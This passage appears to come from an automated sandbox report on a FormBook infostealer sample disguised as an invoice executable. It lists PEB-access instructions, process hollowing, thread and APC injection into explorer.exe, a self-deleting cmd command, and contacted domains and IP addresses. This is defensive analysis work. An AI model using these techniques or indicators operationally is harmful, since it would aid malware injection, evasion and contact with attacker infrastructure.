Source: C:\Windows\SysWOW64\wlanext.exe	Code function: 8_2_037452A5 mov eax, dword ptr fs:[00000030h]		8_2_037452A5
Source: C:\Windows\SysWOW64\wlanext.exe	Code function: 8_2_0380EA55 mov eax, dword ptr fs:[00000030h]		8_2_0380EA55
Source: C:\Windows\SysWOW64\wlanext.exe	Code function: 8_2_0377D294 mov eax, dword ptr fs:[00000030h]		8_2_0377D294
Source: C:\Windows\SysWOW64\wlanext.exe	Code function: 8_2_0377D294 mov eax, dword ptr fs:[00000030h]		8_2_0377D294
Source: C:\Windows\SysWOW64\wlanext.exe	Code function: 8_2_03818A62 mov eax, dword ptr fs:[00000030h]		8_2_03818A62
Source: C:\Windows\SysWOW64\wlanext.exe	Code function: 8_2_0374B171 mov eax, dword ptr fs:[00000030h]		8_2_0374B171
Source: C:\Windows\SysWOW64\wlanext.exe	Code function: 8_2_0374B171 mov eax, dword ptr fs:[00000030h]		8_2_0374B171
Source: C:\Windows\SysWOW64\wlanext.exe	Code function: 8_2_0374C962 mov eax, dword ptr fs:[00000030h]		8_2_0374C962
Source: C:\Windows\SysWOW64\wlanext.exe	Code function: 8_2_0376B944 mov eax, dword ptr fs:[00000030h]		8_2_0376B944
Source: C:\Windows\SysWOW64\wlanext.exe	Code function: 8_2_0376B944 mov eax, dword ptr fs:[00000030h]		8_2_0376B944
Source: C:\Windows\SysWOW64\wlanext.exe	Code function: 8_2_0377513A mov eax, dword ptr fs:[00000030h]		8_2_0377513A
Source: C:\Windows\SysWOW64\wlanext.exe	Code function: 8_2_0377513A mov eax, dword ptr fs:[00000030h]		8_2_0377513A
Source: C:\Windows\SysWOW64\wlanext.exe	Code function: 8_2_03764120 mov eax, dword ptr fs:[00000030h]		8_2_03764120
Source: C:\Windows\SysWOW64\wlanext.exe	Code function: 8_2_03764120 mov eax, dword ptr fs:[00000030h]		8_2_03764120
Source: C:\Windows\SysWOW64\wlanext.exe	Code function: 8_2_03764120 mov eax, dword ptr fs:[00000030h]		8_2_03764120
Source: C:\Windows\SysWOW64\wlanext.exe	Code function: 8_2_03764120 mov eax, dword ptr fs:[00000030h]		8_2_03764120
Source: C:\Windows\SysWOW64\wlanext.exe	Code function: 8_2_03764120 mov ecx, dword ptr fs:[00000030h]		8_2_03764120
Source: C:\Windows\SysWOW64\wlanext.exe	Code function: 8_2_03749100 mov eax, dword ptr fs:[00000030h]		8_2_03749100
Source: C:\Windows\SysWOW64\wlanext.exe	Code function: 8_2_03749100 mov eax, dword ptr fs:[00000030h]		8_2_03749100
Source: C:\Windows\SysWOW64\wlanext.exe	Code function: 8_2_03749100 mov eax, dword ptr fs:[00000030h]		8_2_03749100
Source: C:\Windows\SysWOW64\wlanext.exe	Code function: 8_2_037D41E8 mov eax, dword ptr fs:[00000030h]		8_2_037D41E8
Source: C:\Windows\SysWOW64\wlanext.exe	Code function: 8_2_0374B1E1 mov eax, dword ptr fs:[00000030h]		8_2_0374B1E1
Source: C:\Windows\SysWOW64\wlanext.exe	Code function: 8_2_0374B1E1 mov eax, dword ptr fs:[00000030h]		8_2_0374B1E1
Source: C:\Windows\SysWOW64\wlanext.exe	Code function: 8_2_0374B1E1 mov eax, dword ptr fs:[00000030h]		8_2_0374B1E1
Source: C:\Windows\SysWOW64\wlanext.exe	Code function: 8_2_037C51BE mov eax, dword ptr fs:[00000030h]		8_2_037C51BE
Source: C:\Windows\SysWOW64\wlanext.exe	Code function: 8_2_037C51BE mov eax, dword ptr fs:[00000030h]		8_2_037C51BE
Source: C:\Windows\SysWOW64\wlanext.exe	Code function: 8_2_037C51BE mov eax, dword ptr fs:[00000030h]		8_2_037C51BE
Source: C:\Windows\SysWOW64\wlanext.exe	Code function: 8_2_037C51BE mov eax, dword ptr fs:[00000030h]		8_2_037C51BE
Source: C:\Windows\SysWOW64\wlanext.exe	Code function: 8_2_037761A0 mov eax, dword ptr fs:[00000030h]		8_2_037761A0
Source: C:\Windows\SysWOW64\wlanext.exe	Code function: 8_2_037761A0 mov eax, dword ptr fs:[00000030h]		8_2_037761A0
Source: C:\Windows\SysWOW64\wlanext.exe	Code function: 8_2_037C69A6 mov eax, dword ptr fs:[00000030h]		8_2_037C69A6
Source: C:\Windows\SysWOW64\wlanext.exe	Code function: 8_2_03772990 mov eax, dword ptr fs:[00000030h]		8_2_03772990
Source: C:\Windows\SysWOW64\wlanext.exe	Code function: 8_2_0377A185 mov eax, dword ptr fs:[00000030h]		8_2_0377A185
Source: C:\Windows\SysWOW64\wlanext.exe	Code function: 8_2_0376C182 mov eax, dword ptr fs:[00000030h]		8_2_0376C182
Source: C:\Windows\SysWOW64\wlanext.exe	Code function: 8_2_03760050 mov eax, dword ptr fs:[00000030h]		8_2_03760050
Source: C:\Windows\SysWOW64\wlanext.exe	Code function: 8_2_03760050 mov eax, dword ptr fs:[00000030h]		8_2_03760050
Source: C:\Windows\SysWOW64\wlanext.exe	Code function: 8_2_0377002D mov eax, dword ptr fs:[00000030h]		8_2_0377002D
Source: C:\Windows\SysWOW64\wlanext.exe	Code function: 8_2_0377002D mov eax, dword ptr fs:[00000030h]		8_2_0377002D
Source: C:\Windows\SysWOW64\wlanext.exe	Code function: 8_2_0377002D mov eax, dword ptr fs:[00000030h]		8_2_0377002D
Source: C:\Windows\SysWOW64\wlanext.exe	Code function: 8_2_0377002D mov eax, dword ptr fs:[00000030h]		8_2_0377002D
Source: C:\Windows\SysWOW64\wlanext.exe	Code function: 8_2_0377002D mov eax, dword ptr fs:[00000030h]		8_2_0377002D
Source: C:\Windows\SysWOW64\wlanext.exe	Code function: 8_2_0375B02A mov eax, dword ptr fs:[00000030h]		8_2_0375B02A
Source: C:\Windows\SysWOW64\wlanext.exe	Code function: 8_2_0375B02A mov eax, dword ptr fs:[00000030h]		8_2_0375B02A
Source: C:\Windows\SysWOW64\wlanext.exe	Code function: 8_2_0375B02A mov eax, dword ptr fs:[00000030h]		8_2_0375B02A
Source: C:\Windows\SysWOW64\wlanext.exe	Code function: 8_2_0375B02A mov eax, dword ptr fs:[00000030h]		8_2_0375B02A
Source: C:\Windows\SysWOW64\wlanext.exe	Code function: 8_2_037C7016 mov eax, dword ptr fs:[00000030h]		8_2_037C7016
Source: C:\Windows\SysWOW64\wlanext.exe	Code function: 8_2_037C7016 mov eax, dword ptr fs:[00000030h]		8_2_037C7016
Source: C:\Windows\SysWOW64\wlanext.exe	Code function: 8_2_037C7016 mov eax, dword ptr fs:[00000030h]		8_2_037C7016
Source: C:\Windows\SysWOW64\wlanext.exe	Code function: 8_2_03814015 mov eax, dword ptr fs:[00000030h]		8_2_03814015
Source: C:\Windows\SysWOW64\wlanext.exe	Code function: 8_2_03814015 mov eax, dword ptr fs:[00000030h]		8_2_03814015
Source: C:\Windows\SysWOW64\wlanext.exe	Code function: 8_2_037458EC mov eax, dword ptr fs:[00000030h]		8_2_037458EC
Source: C:\Windows\SysWOW64\wlanext.exe	Code function: 8_2_037DB8D0 mov eax, dword ptr fs:[00000030h]		8_2_037DB8D0
Source: C:\Windows\SysWOW64\wlanext.exe	Code function: 8_2_037DB8D0 mov ecx, dword ptr fs:[00000030h]		8_2_037DB8D0
Source: C:\Windows\SysWOW64\wlanext.exe	Code function: 8_2_037DB8D0 mov eax, dword ptr fs:[00000030h]		8_2_037DB8D0
Source: C:\Windows\SysWOW64\wlanext.exe	Code function: 8_2_037DB8D0 mov eax, dword ptr fs:[00000030h]		8_2_037DB8D0
Source: C:\Windows\SysWOW64\wlanext.exe	Code function: 8_2_037DB8D0 mov eax, dword ptr fs:[00000030h]		8_2_037DB8D0
Source: C:\Windows\SysWOW64\wlanext.exe	Code function: 8_2_037DB8D0 mov eax, dword ptr fs:[00000030h]		8_2_037DB8D0
Source: C:\Windows\SysWOW64\wlanext.exe	Code function: 8_2_0377F0BF mov ecx, dword ptr fs:[00000030h]		8_2_0377F0BF
Source: C:\Windows\SysWOW64\wlanext.exe	Code function: 8_2_0377F0BF mov eax, dword ptr fs:[00000030h]		8_2_0377F0BF
Source: C:\Windows\SysWOW64\wlanext.exe	Code function: 8_2_0377F0BF mov eax, dword ptr fs:[00000030h]		8_2_0377F0BF
Source: C:\Windows\SysWOW64\wlanext.exe	Code function: 8_2_037890AF mov eax, dword ptr fs:[00000030h]		8_2_037890AF
Source: C:\Windows\SysWOW64\wlanext.exe	Code function: 8_2_037720A0 mov eax, dword ptr fs:[00000030h]		8_2_037720A0
Source: C:\Windows\SysWOW64\wlanext.exe	Code function: 8_2_037720A0 mov eax, dword ptr fs:[00000030h]		8_2_037720A0
Source: C:\Windows\SysWOW64\wlanext.exe	Code function: 8_2_037720A0 mov eax, dword ptr fs:[00000030h]		8_2_037720A0
Source: C:\Windows\SysWOW64\wlanext.exe	Code function: 8_2_037720A0 mov eax, dword ptr fs:[00000030h]		8_2_037720A0
Source: C:\Windows\SysWOW64\wlanext.exe	Code function: 8_2_037720A0 mov eax, dword ptr fs:[00000030h]		8_2_037720A0
Source: C:\Windows\SysWOW64\wlanext.exe	Code function: 8_2_037720A0 mov eax, dword ptr fs:[00000030h]		8_2_037720A0
Source: C:\Windows\SysWOW64\wlanext.exe	Code function: 8_2_03802073 mov eax, dword ptr fs:[00000030h]		8_2_03802073
Source: C:\Windows\SysWOW64\wlanext.exe	Code function: 8_2_03749080 mov eax, dword ptr fs:[00000030h]		8_2_03749080
Source: C:\Windows\SysWOW64\wlanext.exe	Code function: 8_2_03811074 mov eax, dword ptr fs:[00000030h]		8_2_03811074
Source: C:\Windows\SysWOW64\wlanext.exe	Code function: 8_2_037C3884 mov eax, dword ptr fs:[00000030h]		8_2_037C3884
Source: C:\Windows\SysWOW64\wlanext.exe	Code function: 8_2_037C3884 mov eax, dword ptr fs:[00000030h]		8_2_037C3884
Source: C:\Windows\SysWOW64\wlanext.exe	Code function: 8_2_0375FF60 mov eax, dword ptr fs:[00000030h]		8_2_0375FF60
Source: C:\Windows\SysWOW64\wlanext.exe	Code function: 8_2_0375EF40 mov eax, dword ptr fs:[00000030h]		8_2_0375EF40
Source: C:\Windows\SysWOW64\wlanext.exe	Code function: 8_2_0377E730 mov eax, dword ptr fs:[00000030h]		8_2_0377E730
Source: C:\Windows\SysWOW64\wlanext.exe	Code function: 8_2_03744F2E mov eax, dword ptr fs:[00000030h]		8_2_03744F2E
Source: C:\Windows\SysWOW64\wlanext.exe	Code function: 8_2_03744F2E mov eax, dword ptr fs:[00000030h]		8_2_03744F2E
Source: C:\Windows\SysWOW64\wlanext.exe	Code function: 8_2_0376F716 mov eax, dword ptr fs:[00000030h]		8_2_0376F716
Source: C:\Windows\SysWOW64\wlanext.exe	Code function: 8_2_037DFF10 mov eax, dword ptr fs:[00000030h]		8_2_037DFF10
Source: C:\Windows\SysWOW64\wlanext.exe	Code function: 8_2_037DFF10 mov eax, dword ptr fs:[00000030h]		8_2_037DFF10
Source: C:\Windows\SysWOW64\wlanext.exe	Code function: 8_2_0377A70E mov eax, dword ptr fs:[00000030h]		8_2_0377A70E
Source: C:\Windows\SysWOW64\wlanext.exe	Code function: 8_2_0377A70E mov eax, dword ptr fs:[00000030h]		8_2_0377A70E
Source: C:\Windows\SysWOW64\wlanext.exe	Code function: 8_2_0381070D mov eax, dword ptr fs:[00000030h]		8_2_0381070D
Source: C:\Windows\SysWOW64\wlanext.exe	Code function: 8_2_0381070D mov eax, dword ptr fs:[00000030h]		8_2_0381070D
Source: C:\Windows\SysWOW64\wlanext.exe	Code function: 8_2_037837F5 mov eax, dword ptr fs:[00000030h]		8_2_037837F5
Source: C:\Windows\SysWOW64\wlanext.exe	Code function: 8_2_03758794 mov eax, dword ptr fs:[00000030h]		8_2_03758794
Source: C:\Windows\SysWOW64\wlanext.exe	Code function: 8_2_037C7794 mov eax, dword ptr fs:[00000030h]		8_2_037C7794
Source: C:\Windows\SysWOW64\wlanext.exe	Code function: 8_2_037C7794 mov eax, dword ptr fs:[00000030h]		8_2_037C7794
Source: C:\Windows\SysWOW64\wlanext.exe	Code function: 8_2_037C7794 mov eax, dword ptr fs:[00000030h]		8_2_037C7794
Source: C:\Windows\SysWOW64\wlanext.exe	Code function: 8_2_03818F6A mov eax, dword ptr fs:[00000030h]		8_2_03818F6A
Source: C:\Windows\SysWOW64\wlanext.exe	Code function: 8_2_0376AE73 mov eax, dword ptr fs:[00000030h]		8_2_0376AE73
Source: C:\Windows\SysWOW64\wlanext.exe	Code function: 8_2_0376AE73 mov eax, dword ptr fs:[00000030h]		8_2_0376AE73
Source: C:\Windows\SysWOW64\wlanext.exe	Code function: 8_2_0376AE73 mov eax, dword ptr fs:[00000030h]		8_2_0376AE73
Source: C:\Windows\SysWOW64\wlanext.exe	Code function: 8_2_0376AE73 mov eax, dword ptr fs:[00000030h]		8_2_0376AE73
Source: C:\Windows\SysWOW64\wlanext.exe	Code function: 8_2_0376AE73 mov eax, dword ptr fs:[00000030h]		8_2_0376AE73
Source: C:\Windows\SysWOW64\wlanext.exe	Code function: 8_2_0375766D mov eax, dword ptr fs:[00000030h]		8_2_0375766D
Source: C:\Windows\SysWOW64\wlanext.exe	Code function: 8_2_03810EA5 mov eax, dword ptr fs:[00000030h]		8_2_03810EA5
Source: C:\Windows\SysWOW64\wlanext.exe	Code function: 8_2_03810EA5 mov eax, dword ptr fs:[00000030h]		8_2_03810EA5
Source: C:\Windows\SysWOW64\wlanext.exe	Code function: 8_2_03810EA5 mov eax, dword ptr fs:[00000030h]		8_2_03810EA5
Source: C:\Windows\SysWOW64\wlanext.exe	Code function: 8_2_03757E41 mov eax, dword ptr fs:[00000030h]		8_2_03757E41
Source: C:\Windows\SysWOW64\wlanext.exe	Code function: 8_2_03757E41 mov eax, dword ptr fs:[00000030h]		8_2_03757E41
Source: C:\Windows\SysWOW64\wlanext.exe	Code function: 8_2_03757E41 mov eax, dword ptr fs:[00000030h]		8_2_03757E41
Source: C:\Windows\SysWOW64\wlanext.exe	Code function: 8_2_03757E41 mov eax, dword ptr fs:[00000030h]		8_2_03757E41
Source: C:\Windows\SysWOW64\wlanext.exe	Code function: 8_2_03757E41 mov eax, dword ptr fs:[00000030h]		8_2_03757E41
Source: C:\Windows\SysWOW64\wlanext.exe	Code function: 8_2_03757E41 mov eax, dword ptr fs:[00000030h]		8_2_03757E41
Source: C:\Windows\SysWOW64\wlanext.exe	Code function: 8_2_037FFE3F mov eax, dword ptr fs:[00000030h]		8_2_037FFE3F
Source: C:\Windows\SysWOW64\wlanext.exe	Code function: 8_2_0374E620 mov eax, dword ptr fs:[00000030h]		8_2_0374E620
Source: C:\Windows\SysWOW64\wlanext.exe	Code function: 8_2_03818ED6 mov eax, dword ptr fs:[00000030h]		8_2_03818ED6
Source: C:\Windows\SysWOW64\wlanext.exe	Code function: 8_2_0377A61C mov eax, dword ptr fs:[00000030h]		8_2_0377A61C
Source: C:\Windows\SysWOW64\wlanext.exe	Code function: 8_2_0377A61C mov eax, dword ptr fs:[00000030h]		8_2_0377A61C
Source: C:\Windows\SysWOW64\wlanext.exe	Code function: 8_2_0374C600 mov eax, dword ptr fs:[00000030h]		8_2_0374C600
Source: C:\Windows\SysWOW64\wlanext.exe	Code function: 8_2_0374C600 mov eax, dword ptr fs:[00000030h]		8_2_0374C600
Source: C:\Windows\SysWOW64\wlanext.exe	Code function: 8_2_0374C600 mov eax, dword ptr fs:[00000030h]		8_2_0374C600
Source: C:\Windows\SysWOW64\wlanext.exe	Code function: 8_2_03778E00 mov eax, dword ptr fs:[00000030h]		8_2_03778E00
Source: C:\Windows\SysWOW64\wlanext.exe	Code function: 8_2_03801608 mov eax, dword ptr fs:[00000030h]		8_2_03801608
Source: C:\Windows\SysWOW64\wlanext.exe	Code function: 8_2_037716E0 mov ecx, dword ptr fs:[00000030h]		8_2_037716E0
Source: C:\Windows\SysWOW64\wlanext.exe	Code function: 8_2_037576E2 mov eax, dword ptr fs:[00000030h]		8_2_037576E2
Source: C:\Windows\SysWOW64\wlanext.exe	Code function: 8_2_037736CC mov eax, dword ptr fs:[00000030h]		8_2_037736CC
Source: C:\Windows\SysWOW64\wlanext.exe	Code function: 8_2_037FFEC0 mov eax, dword ptr fs:[00000030h]		8_2_037FFEC0
Source: C:\Windows\SysWOW64\wlanext.exe	Code function: 8_2_03788EC7 mov eax, dword ptr fs:[00000030h]		8_2_03788EC7
Source: C:\Windows\SysWOW64\wlanext.exe	Code function: 8_2_0380AE44 mov eax, dword ptr fs:[00000030h]		8_2_0380AE44
Source: C:\Windows\SysWOW64\wlanext.exe	Code function: 8_2_0380AE44 mov eax, dword ptr fs:[00000030h]		8_2_0380AE44
Source: C:\Windows\SysWOW64\wlanext.exe	Code function: 8_2_037C46A7 mov eax, dword ptr fs:[00000030h]		8_2_037C46A7
Source: C:\Windows\SysWOW64\wlanext.exe	Code function: 8_2_037DFE87 mov eax, dword ptr fs:[00000030h]		8_2_037DFE87
Source: C:\Windows\SysWOW64\wlanext.exe	Code function: 8_2_0376C577 mov eax, dword ptr fs:[00000030h]		8_2_0376C577
Source: C:\Windows\SysWOW64\wlanext.exe	Code function: 8_2_0376C577 mov eax, dword ptr fs:[00000030h]		8_2_0376C577
Source: C:\Windows\SysWOW64\wlanext.exe	Code function: 8_2_03767D50 mov eax, dword ptr fs:[00000030h]		8_2_03767D50
Source: C:\Windows\SysWOW64\wlanext.exe	Code function: 8_2_038105AC mov eax, dword ptr fs:[00000030h]		8_2_038105AC
Source: C:\Windows\SysWOW64\wlanext.exe	Code function: 8_2_038105AC mov eax, dword ptr fs:[00000030h]		8_2_038105AC
Source: C:\Windows\SysWOW64\wlanext.exe	Code function: 8_2_03783D43 mov eax, dword ptr fs:[00000030h]		8_2_03783D43
Source: C:\Windows\SysWOW64\wlanext.exe	Code function: 8_2_037C3540 mov eax, dword ptr fs:[00000030h]		8_2_037C3540
Source: C:\Windows\SysWOW64\wlanext.exe	Code function: 8_2_03753D34 mov eax, dword ptr fs:[00000030h]		8_2_03753D34
Source: C:\Windows\SysWOW64\wlanext.exe	Code function: 8_2_03753D34 mov eax, dword ptr fs:[00000030h]		8_2_03753D34
Source: C:\Windows\SysWOW64\wlanext.exe	Code function: 8_2_03753D34 mov eax, dword ptr fs:[00000030h]		8_2_03753D34
Source: C:\Windows\SysWOW64\wlanext.exe	Code function: 8_2_03753D34 mov eax, dword ptr fs:[00000030h]		8_2_03753D34
Source: C:\Windows\SysWOW64\wlanext.exe	Code function: 8_2_03753D34 mov eax, dword ptr fs:[00000030h]		8_2_03753D34
Source: C:\Windows\SysWOW64\wlanext.exe	Code function: 8_2_03753D34 mov eax, dword ptr fs:[00000030h]		8_2_03753D34
Source: C:\Windows\SysWOW64\wlanext.exe	Code function: 8_2_03753D34 mov eax, dword ptr fs:[00000030h]		8_2_03753D34
Source: C:\Windows\SysWOW64\wlanext.exe	Code function: 8_2_03753D34 mov eax, dword ptr fs:[00000030h]		8_2_03753D34
Source: C:\Windows\SysWOW64\wlanext.exe	Code function: 8_2_03753D34 mov eax, dword ptr fs:[00000030h]		8_2_03753D34
Source: C:\Windows\SysWOW64\wlanext.exe	Code function: 8_2_03753D34 mov eax, dword ptr fs:[00000030h]		8_2_03753D34
Source: C:\Windows\SysWOW64\wlanext.exe	Code function: 8_2_03753D34 mov eax, dword ptr fs:[00000030h]		8_2_03753D34
Source: C:\Windows\SysWOW64\wlanext.exe	Code function: 8_2_03753D34 mov eax, dword ptr fs:[00000030h]		8_2_03753D34
Source: C:\Windows\SysWOW64\wlanext.exe	Code function: 8_2_03753D34 mov eax, dword ptr fs:[00000030h]		8_2_03753D34
Source: C:\Windows\SysWOW64\wlanext.exe	Code function: 8_2_0374AD30 mov eax, dword ptr fs:[00000030h]		8_2_0374AD30
Source: C:\Windows\SysWOW64\wlanext.exe	Code function: 8_2_037CA537 mov eax, dword ptr fs:[00000030h]		8_2_037CA537
Source: C:\Windows\SysWOW64\wlanext.exe	Code function: 8_2_03774D3B mov eax, dword ptr fs:[00000030h]		8_2_03774D3B
Source: C:\Windows\SysWOW64\wlanext.exe	Code function: 8_2_03774D3B mov eax, dword ptr fs:[00000030h]		8_2_03774D3B
Source: C:\Windows\SysWOW64\wlanext.exe	Code function: 8_2_03774D3B mov eax, dword ptr fs:[00000030h]		8_2_03774D3B
Source: C:\Windows\SysWOW64\wlanext.exe	Code function: 8_2_0380FDE2 mov eax, dword ptr fs:[00000030h]		8_2_0380FDE2
Source: C:\Windows\SysWOW64\wlanext.exe	Code function: 8_2_0380FDE2 mov eax, dword ptr fs:[00000030h]		8_2_0380FDE2
Source: C:\Windows\SysWOW64\wlanext.exe	Code function: 8_2_0380FDE2 mov eax, dword ptr fs:[00000030h]		8_2_0380FDE2
Source: C:\Windows\SysWOW64\wlanext.exe	Code function: 8_2_0380FDE2 mov eax, dword ptr fs:[00000030h]		8_2_0380FDE2
Source: C:\Windows\SysWOW64\wlanext.exe	Code function: 8_2_037F8DF1 mov eax, dword ptr fs:[00000030h]		8_2_037F8DF1
Source: C:\Windows\SysWOW64\wlanext.exe	Code function: 8_2_0375D5E0 mov eax, dword ptr fs:[00000030h]		8_2_0375D5E0
Source: C:\Windows\SysWOW64\wlanext.exe	Code function: 8_2_0375D5E0 mov eax, dword ptr fs:[00000030h]		8_2_0375D5E0
Source: C:\Windows\SysWOW64\wlanext.exe	Code function: 8_2_03818D34 mov eax, dword ptr fs:[00000030h]		8_2_03818D34
Source: C:\Windows\SysWOW64\wlanext.exe	Code function: 8_2_037C6DC9 mov eax, dword ptr fs:[00000030h]		8_2_037C6DC9
Source: C:\Windows\SysWOW64\wlanext.exe	Code function: 8_2_037C6DC9 mov eax, dword ptr fs:[00000030h]		8_2_037C6DC9
Source: C:\Windows\SysWOW64\wlanext.exe	Code function: 8_2_037C6DC9 mov eax, dword ptr fs:[00000030h]		8_2_037C6DC9
Source: C:\Windows\SysWOW64\wlanext.exe	Code function: 8_2_037C6DC9 mov ecx, dword ptr fs:[00000030h]		8_2_037C6DC9
Source: C:\Windows\SysWOW64\wlanext.exe	Code function: 8_2_037C6DC9 mov eax, dword ptr fs:[00000030h]		8_2_037C6DC9
Source: C:\Windows\SysWOW64\wlanext.exe	Code function: 8_2_037C6DC9 mov eax, dword ptr fs:[00000030h]		8_2_037C6DC9
Source: C:\Windows\SysWOW64\wlanext.exe	Code function: 8_2_0380E539 mov eax, dword ptr fs:[00000030h]		8_2_0380E539
Source: C:\Windows\SysWOW64\wlanext.exe	Code function: 8_2_03771DB5 mov eax, dword ptr fs:[00000030h]		8_2_03771DB5
Source: C:\Windows\SysWOW64\wlanext.exe	Code function: 8_2_03771DB5 mov eax, dword ptr fs:[00000030h]		8_2_03771DB5
Source: C:\Windows\SysWOW64\wlanext.exe	Code function: 8_2_03771DB5 mov eax, dword ptr fs:[00000030h]		8_2_03771DB5
Source: C:\Windows\SysWOW64\wlanext.exe	Code function: 8_2_037735A1 mov eax, dword ptr fs:[00000030h]		8_2_037735A1
Source: C:\Windows\SysWOW64\wlanext.exe	Code function: 8_2_0377FD9B mov eax, dword ptr fs:[00000030h]		8_2_0377FD9B
Source: C:\Windows\SysWOW64\wlanext.exe	Code function: 8_2_0377FD9B mov eax, dword ptr fs:[00000030h]		8_2_0377FD9B
Source: C:\Windows\SysWOW64\wlanext.exe	Code function: 8_2_03772581 mov eax, dword ptr fs:[00000030h]		8_2_03772581
Source: C:\Windows\SysWOW64\wlanext.exe	Code function: 8_2_03772581 mov eax, dword ptr fs:[00000030h]		8_2_03772581
Source: C:\Windows\SysWOW64\wlanext.exe	Code function: 8_2_03772581 mov eax, dword ptr fs:[00000030h]		8_2_03772581
Source: C:\Windows\SysWOW64\wlanext.exe	Code function: 8_2_03772581 mov eax, dword ptr fs:[00000030h]		8_2_03772581
Source: C:\Windows\SysWOW64\wlanext.exe	Code function: 8_2_03742D8A mov eax, dword ptr fs:[00000030h]		8_2_03742D8A
Source: C:\Windows\SysWOW64\wlanext.exe	Code function: 8_2_03742D8A mov eax, dword ptr fs:[00000030h]		8_2_03742D8A
Source: C:\Windows\SysWOW64\wlanext.exe	Code function: 8_2_03742D8A mov eax, dword ptr fs:[00000030h]		8_2_03742D8A
Source: C:\Windows\SysWOW64\wlanext.exe	Code function: 8_2_03742D8A mov eax, dword ptr fs:[00000030h]		8_2_03742D8A

Enables debug privileges

Source: C:\Users\user\Desktop\INV74321.exe	Process token adjusted: Debug			Jump to behavior
Source: C:\Windows\SysWOW64\wlanext.exe	Process token adjusted: Debug			Jump to behavior

HIPS / PFW / Operating System Protection Evasion:

System process connects to network (likely due to code injection or exploit)

Source: C:\Windows\explorer.exe	Domain query: www.aqayeseo.com
Source: C:\Windows\explorer.exe	Domain query: www.downtoearthwork.com
Source: C:\Windows\explorer.exe	Domain query: www.shebagholdings.com
Source: C:\Windows\explorer.exe	Network Connect: 119.18.54.126 80			Jump to behavior
Source: C:\Windows\explorer.exe	Domain query: www.booweats.com
Source: C:\Windows\explorer.exe	Domain query: www.0o-a-8v4l76.net
Source: C:\Windows\explorer.exe	Domain query: www.topcasino-111.com
Source: C:\Windows\explorer.exe	Network Connect: 104.21.46.55 80			Jump to behavior
Source: C:\Windows\explorer.exe	Domain query: www.lingoblasterdiscount.com
Source: C:\Windows\explorer.exe	Network Connect: 154.84.101.247 80			Jump to behavior
Source: C:\Windows\explorer.exe	Domain query: www.smartmatch-dating-api.com
Source: C:\Windows\explorer.exe	Network Connect: 34.102.136.180 80			Jump to behavior
Source: C:\Windows\explorer.exe	Domain query: www.xn--espacesacr-k7a.com
Source: C:\Windows\explorer.exe	Network Connect: 64.190.62.111 80			Jump to behavior
Source: C:\Windows\explorer.exe	Domain query: www.king-jackpot.com
Source: C:\Windows\explorer.exe	Network Connect: 87.98.148.38 80			Jump to behavior
Source: C:\Windows\explorer.exe	Network Connect: 163.43.122.109 80			Jump to behavior

Maps a DLL or memory area into another process

Source: C:\Users\user\Desktop\INV74321.exe	Section loaded: unknown target: C:\Users\user\Desktop\INV74321.exe protection: execute and read and write			Jump to behavior
Source: C:\Users\user\Desktop\INV74321.exe	Section loaded: unknown target: C:\Windows\explorer.exe protection: execute and read and write			Jump to behavior
Source: C:\Users\user\Desktop\INV74321.exe	Section loaded: unknown target: C:\Windows\SysWOW64\wlanext.exe protection: execute and read and write			Jump to behavior
Source: C:\Users\user\Desktop\INV74321.exe	Section loaded: unknown target: C:\Windows\SysWOW64\wlanext.exe protection: execute and read and write			Jump to behavior
Source: C:\Windows\SysWOW64\wlanext.exe	Section loaded: unknown target: C:\Windows\explorer.exe protection: read write			Jump to behavior
Source: C:\Windows\SysWOW64\wlanext.exe	Section loaded: unknown target: C:\Windows\explorer.exe protection: execute and read and write			Jump to behavior

Modifies the context of a thread in another process (thread injection)

Source: C:\Users\user\Desktop\INV74321.exe	Thread register set: target process: 3388			Jump to behavior
Source: C:\Windows\SysWOW64\wlanext.exe	Thread register set: target process: 3388			Jump to behavior

Queues an APC in another process (thread injection)

Source: C:\Users\user\Desktop\INV74321.exe

Thread APC queued: target process: C:\Windows\explorer.exe

Jump to behavior

Sample uses process hollowing technique

Source: C:\Users\user\Desktop\INV74321.exe

Section unmapped: C:\Windows\SysWOW64\wlanext.exe base address: D90000

Jump to behavior

Creates a process in suspended mode (likely to inject code)

Source: C:\Users\user\Desktop\INV74321.exe	Process created: C:\Users\user\Desktop\INV74321.exe 'C:\Users\user\Desktop\INV74321.exe'			Jump to behavior
Source: C:\Windows\SysWOW64\wlanext.exe	Process created: C:\Windows\SysWOW64\cmd.exe /c del 'C:\Users\user\Desktop\INV74321.exe'			Jump to behavior

May try to detect the Windows Explorer process (often used for injection)

Source: explorer.exe, 00000005.00000002.473046481.0000000001398000.00000004.00000020.sdmp	Binary or memory string: ProgmanamF
Source: explorer.exe, 00000005.00000000.220866561.0000000001980000.00000002.00000001.sdmp, wlanext.exe, 00000008.00000002.475564298.0000000005E50000.00000002.00000001.sdmp	Binary or memory string: Program Manager
Source: explorer.exe, 00000005.00000000.238911410.000000000871F000.00000004.00000001.sdmp, wlanext.exe, 00000008.00000002.475564298.0000000005E50000.00000002.00000001.sdmp	Binary or memory string: Shell_TrayWnd
Source: explorer.exe, 00000005.00000000.220866561.0000000001980000.00000002.00000001.sdmp, wlanext.exe, 00000008.00000002.475564298.0000000005E50000.00000002.00000001.sdmp	Binary or memory string: Progman
Source: explorer.exe, 00000005.00000000.220866561.0000000001980000.00000002.00000001.sdmp, wlanext.exe, 00000008.00000002.475564298.0000000005E50000.00000002.00000001.sdmp	Binary or memory string: Progmanlock

Language, Device and Operating System Detection:

Contains functionality to query windows version

Source: C:\Users\user\Desktop\INV74321.exe

Code function: 0_2_00403348 EntryPoint,SetErrorMode,GetVersion,lstrlenA,#17,OleInitialize,SHGetFileInfoA,GetCommandLineA,CharNextA,GetTempPathA,GetTempPathA,GetWindowsDirectoryA,lstrcatA,GetTempPathA,lstrcatA,SetEnvironmentVariableA,SetEnvironmentVariableA,SetEnvironmentVariableA,DeleteFileA,OleUninitialize,ExitProcess,lstrcatA,lstrcatA,lstrcatA,lstrcmpiA,SetCurrentDirectoryA,DeleteFileA,CopyFileA,CloseHandle,GetCurrentProcess,OpenProcessToken,LookupPrivilegeValueA,AdjustTokenPrivileges,ExitWindowsEx,ExitProcess,

0_2_00403348

Stealing of Sensitive Information:

Yara detected FormBook

Source: Yara match	File source: 00000000.00000002.223286831.00000000029A0000.00000004.00000001.sdmp, type: MEMORY
Source: Yara match	File source: 00000001.00000002.257156250.0000000000400000.00000040.00000001.sdmp, type: MEMORY
Source: Yara match	File source: 00000008.00000002.473119363.00000000035D0000.00000040.00000001.sdmp, type: MEMORY
Source: Yara match	File source: 00000001.00000002.257388268.00000000009D0000.00000040.00000001.sdmp, type: MEMORY
